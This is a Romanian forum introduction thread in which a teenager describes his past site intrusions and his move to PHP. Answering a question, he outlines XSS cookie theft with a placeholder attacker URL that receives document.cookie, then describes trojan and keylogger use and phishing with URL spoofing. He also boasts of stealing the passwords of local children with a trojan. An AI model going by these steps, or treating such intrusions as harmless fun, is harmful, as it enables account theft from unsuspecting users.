joaffx

Salut,

Ma numesc Ionut, am 16 ani si sunt elev la CN A.I.C - Corabia in clasa a 9-a. Pot spune ca am fost pasionat de PC-uri inca de cand am pus mana pe primul mouse asta insemnand 2002 daca nu ma insel insa "prietenia" mea cu ele daca pot spune asa a inceput mai serios abia acum 3 ani prin 2005 cand m-am legat la o retea de cartier.
Primul contact cu internetul nu a fost prea placut deoarece la scurt timp am ramas fara parola la un mail de yahoo.Din dorinta de a ma razbuna am inceput sa citesc pe internet despre partea aceasta mai "intunecata" iar dupa ceva timp ajunsesem membru prin majoritatea comunitatilor de securitate.

Aproximativ un an 2006(vara)-2007(vara) m-am ocupat numai cu securitatea , cu exploatarea siteurilor , descoperirea de buguri etc.In acest timp reusisem sa cunosc majoritatea vulnerabilitatilor web [ RFI,LFI,XSS,CSRF,SQL Inj,Blind SQL,RCE etc. ] si sa accesez fisierele mai multor siteuri importante cum ar fi universitati,institutii guvernamentale , multe siteuri aveau gauri la acea vreme.
In special imi centram atentia spre siteurile cu domenii .edu si .gov si siteuri importante din Romania.

Odata cu varsta am inceput sa vad ca totul nu consta doar in placere ci este nevoie si de bani asa ca am inceput sa ma gandesc serios despre "ce voi face cand voi fi mare".Cum securitatea era strans legata de programare deoarece ca sa poti fixa/repara o gaura de securitate trebuia sa ai si ceva idei despre programare am pornit spre un alt drum.Asa ca am inceput sa citesc despre programare , PHP-ul a fost primul meu "prieten" deoarece majoritatea siteurilor pe care le gaseam vulnerabile erau scrise in PHP.
Incepand cu 2007(toamna) adica admiterea la liceu am inceput sa incep sa ignor partea "intunecata" a internetul si m-am centrat numai pe programare.
Din 2007(toamna)-2008(vara) adica acum am citit haotic despre tot ce imi iesea in cale PHP,MySQL,CSS,HTML,Perl,C++ etc.
In momentul de fata am decis sa ma centrez doar pe PHP , momentan am cunoscut si o persoana care ma ajuta foarte mult.Imi da taskuri fixe, imi explica daca nu inteleg iar totul este foarte bine structurat :D.

Cam acestea ar fi de spus , sper ca nu v-am plictisit cu prezentarea mea :)

O alta pasiune a mea ar mai fi stiinta,teoria conspiratiei,experimentele ( gen Philadelphia ) dar astea .. altadata :). Unii poate deja au obosit citindu-mi prezentarea.
PS : Nici acum nu m-am mai razbunat pe cel care m-a lasat fara parola acum 3 ani :) , chiar ii multumesc ca mi-a deschis aceasta cale probabil daca nu era el acum imi pierdeam vremea tot pe mIRC.
"Dacă vrei să fii fericit o clipă, răzbună-te. Dacă vrei să fii fericit o viaţă, iartă"

O zi buna,

<? // Bafta in arta programarii ?>

Bine ai venit! Majoritatea pustilor isi pierd timpul cu CS, FIFA, tu ai ales sa ti-l "pierzi" intr-un mod constructiv. Felicitari!

Citat:

---

"Dacă vrei să fii fericit o clipă, răzbună-te. Dacă vrei să fii fericit o viaţă, iartă"

---

dragut...foarte dragut.
multa bafta

Mai rar vezi o asemenea prezentare! Majoritatea pustanilor de 16 ani nu pot lega doua cuvinte :)
Felicitari, Joaffx! Bun venit printre noi!

chiar ca e faina prezentarea :)
Bine ai venit Ionut!

Felicitari pentru preocuparile tale si bine ai venit!

De unde se vede ca gresesc cei care categorisesc persoanele doar in functie de varsta. Bine ai venit, Ionut.

Bine ai venit, Ionut si felicitari pentru prezentare!
Ca sa mai invat si eu ceva: Cum poti sa "lasi pe cineva fara parola" in yahoo - (in afara de situatia cand ghicesti datele lui si raspunsul la intrebarea secreta) ?

Citat:

---

Postat în original de Joaffx

"Dacă vrei să fii fericit o clipă, răzbună-te. Dacă vrei să fii fericit o viaţă, iartă"

---

Impresionante vorbe pentru un baiat de varsta ta, felicitari si bine ai venit printre noi,daca poti sa imi lasi o adresa de contact si un portofoliu ceva in privat pentru ca s-ar putea sa mai am nevoie de un programator pentru clientii mei te rog. O zi buna

Multumesc de primirea calduroasa !

Citat:

---

Postat în original de mike_ppc

Bine ai venit, Ionut si felicitari pentru prezentare!
Ca sa mai invat si eu ceva: Cum poti sa "lasi pe cineva fara parola" in yahoo - (in afara de situatia cand ghicesti datele lui si raspunsul la intrebarea secreta) ?

---

Intrebarea ta este atat de complexa incat o poti compara cu o intrebare de genul "cum pot sa imi fac o casa repede" :).
In primul rand nu este etic sa schimbi o parola, nici in randul "intunecatilor" nu se mai practica asta , majoritatea doar spioneaza :).

Sper ca m-ai intrebat ca sa te protejezi :). Ok , voi prezenta strict metodele cele mai folosite/cunoscute de catre marea masa a utilizatorilor "intunecati".

1.Cookie Stealing.
-ce este un cookie ? Un cookie se obtine atunci cand pe pagina de login de la yahoo introduci un username si o parola , cookieul este generat pentru a iti usura tie ( utilizatorul mailului ) navigatia , pentru a nu fi nevoit sa iti introduci parola la fiecare miscare din mail.
In cazul Yahoo , cookieul in mod normal dureaza 24 de ore insa poate fi prelungit si la 2 saptamanii ( metoda privata ).
-cum poate fi furat un cookie ? Un cookie poate fi furat destul de usor , tot ce ai nevoie este un script php si o vulnerabilitate XSS [ Cross Site Scripting ] , aceste vulnerabilitati se gasesc destul de usor in domeniile Yahoo daca stii sa cauti.
In cazul Yahoo , cookieul este acelasi indiferent de domeniu ca e de China,Italia etc.
- cum functioneaza metoda in pratica ?
Metoda consta intr-un script php ( cookie stealer ) care primeste prin intermediul XSS`ului care devine un fel de "tunel" cookieurile utilizatorilor si pe care le stocheaza intr-un fisier de regula .txt
Odata ce sunt colectate aceste cookieuri ele pot fi folosite pentru a accesa mailul ( victimei ) si webmessengerul acestuia.
Am sa iti descriu in 5 pasi cum opereaza un atacator pentru a fura un cookie.
a) Isi urca pe internet un script php pentru a colecta cookieurile ex atacator_domeniu . com /script_php?cookie=document.cookie
b) Editeaza XSSul in functie de locatia cookie stealerului sau adica :
yahoo . com /pagina?param=XSS(url_cookie_stealer
c) Trimite victimei urlul din Yahoo cu XSS si asteapta ca prada sa cada in capcana :)
d) Cazurile cand utilizatorul poate devenii prada :
- s-a autentificat pe o pagina yahoo in ultimele 24 de ore si foloseste un browser care pastreaza sesiunea activa. In acest caz este destul de usor de furat , poate fi furat chiar si printr`un iframe :)
- a intrat pe link`ul capcana din interiorul mailului ( propriu )
e) Atacatorul a obtinut cookieul iar acum se plimba pe la tine prin mail :)

Metoda aceasta este destul de folosita in ziua de azi , pentru protectie recomand :
- sa dati Sign Out din mail dupa ce ati termiant de citit
- optional sa folositi un addon care blocheaza javascript , eu folosesc NoScript
- sa nu va puneti rau cu persoanele care sunt capabile de a va face rau :). E mai bine sa previi decat sa tratezi :P

Din cate stiu cookieul generat contine in interiorul sau parola insa algoritmul folosit nu il cunosc , probabil ca exista persoane care pot sa decripteze parola din cookie insa cu siguranta metoda este privata :).

2. Trojani/Keyloggere

Asta e metoda clasica,urata,plictisitoare .. nu imi place sa vorbesc despre ea.
Dar este o metoda destul de eficace uneori. Imi aduc aminte ca acum aproximativ 9 luni cu ajutorul unui trojan nedetectabil facut de o persoana reusisem sa capat idurile si parolele la aproape toti copii de varsta mea din oras. ( e un oras cu 20 de mii loc. )
Metoda asta este destul de greu de pus in pratica. Insa atentie , ea poate devenii foarte periculoasa daca :
- trojanul/keyloggerul este nedetectabil
- utilizatorul are cunostinte de JavaScript avansate si poate scrie un o aplicate care sa faca auto download/execute adica sa intri pe site . com / pagina
Iar codul JS sa downloadeze la tine in PC aplicatia si sa o execute :) . Cu metoda asta stiu ca ma distram cu utilizatorii de pe mirc.

3. Scam
Metoda asta e prea plictisitoare , in general e este folosita si de baietii care fac phishing ( cei care fura carduri pe la TV ).
Uneori poate fi si aceasta o metoda periculoasa , de exemplu atacatorul poate face url spoofing si tie sa iti apara mail . yahoo . com cand tu de fapt sa fii pe un domeniu te_am_furat . com / scam

Sper ca developerii vor intelege cat de important este sa iti filtrezi datele intr`o aplicatie si cat de periculoasa poate fi o vulnerabilitate XSS.

Cam acestea ar fi , metodele cele mai folosite.

Metode mai sunt insa cu siguranta private .

Mai sa fiu al naibi...

Salutari speciale de la mine, fiind din acelasi oras, sunt mandru ca apar astfel de pusti si pe acolo. Multa bafta in continuare !

bine ai venit

Asta suna a copy paste. In fine, eu nu inteleg ce ai inteles tu daca ai invatat php fara nici o cunostinta html. :) Bine ai venit oriucm.

Citat:

---

Postat în original de startblog

Asta suna a copy paste. In fine, eu nu inteleg ce ai inteles tu daca ai invatat php fara nici o cunostinta html. :) Bine ai venit oriucm.

---

Copy paste ? Tot ce e scris mai sus e scris de mine de la prima litera pana la ultima ! ;)

Cum ai ajuns la concluzia ca nu am nicio cunostinta de html ?

Apropo , vezi ca dupa noul DOOM nici-o se scrie legat !

As prefera sa imi aduci argumente pentru afirmatiile pe care le-ai facut mai sus , asta daca nu obisnuiesti sa vorbesti fara sens.

Bafta,

Atunci felicitarile mele daca e scris de tine :), am zis doar ca "suna", poti sa o iei si ca pe un compliment. Ai zis chiar in primul post "PHP-ul a fost primul meu "prieten""
Salut, tine-o tot asa.
PS: Nu ma conformez noului DOOM.

Bine ai venit.

Mi s-a zbarlit parul cand am vazut cam ce se poate face. Eu am preluat expresia "sa lasi pe cineva fara parola" de la tine, si eram curios cum se poate face asta ca idee. Au ajuns departe lucrurile...

Citat:

---

Postat în original de mike_ppc

Mi s-a zbarlit parul cand am vazut cam ce se poate face. Eu am preluat expresia "sa lasi pe cineva fara parola" de la tine, si eram curios cum se poate face asta ca idee. Au ajuns departe lucrurile...

---

Intradevar , s-au schimbat multe lucruri insa "jocul" va devenii mult mai frumos cand Web 2.0 va fi implementat in majoritatea siteurilor .Personal astept sa fie implementat de catre edu.ro .
Oricum , ceea ce am zis mai sus este doar varful iceberg-ului sau mai bine spus doar ceea ce este folosit la tot pasul si are acces toata lumea la aceste tehnici deoarece nu necesita cunostinte avansate despre securitate/programare si pot fi folosite de un numar mare de persoane.
Problema este ca din pacate securitatea in afara de placere nu prea ofera nimic iar mancarea,hainele nu se pot cumpara cu placere :).

Bine ai venit Joaffx, vad ca ai un indrumator bun :D

ma baiatule nu ai apelat cumva la o agentie de Marketing sau la vreun dezvoltator de text ?:)) :P

bine ai venit, joaffx.

Citat:

---

Postat în original de Joaffx

Problema este ca din pacate securitatea in afara de placere nu prea ofera nimic

---

De ce spui asta, crezi ca nu ar fi nimeni interesat de servicii de security audit + acoperire gauri, pe bani bineinteles?

Super, daca ai 16 ani ma bucur ca mai exista tineri talentati si cu capul pe umeri.
Sper sa te perfectionezi in php si sa colaboram in viitor. Pana atunci:
<?
$viata = rand(1,2);
switch($viata) {
case '1': echo "Cred tot ceea ce mi se spune, actionez in functie de stimulii externi.";
break;
case '2': echo "Sunt destul de receptiv la ceea ce mi se spune, actionez in functie de parerile si crezurile mele";
break;
default: echo "Sunt banal";
}
?>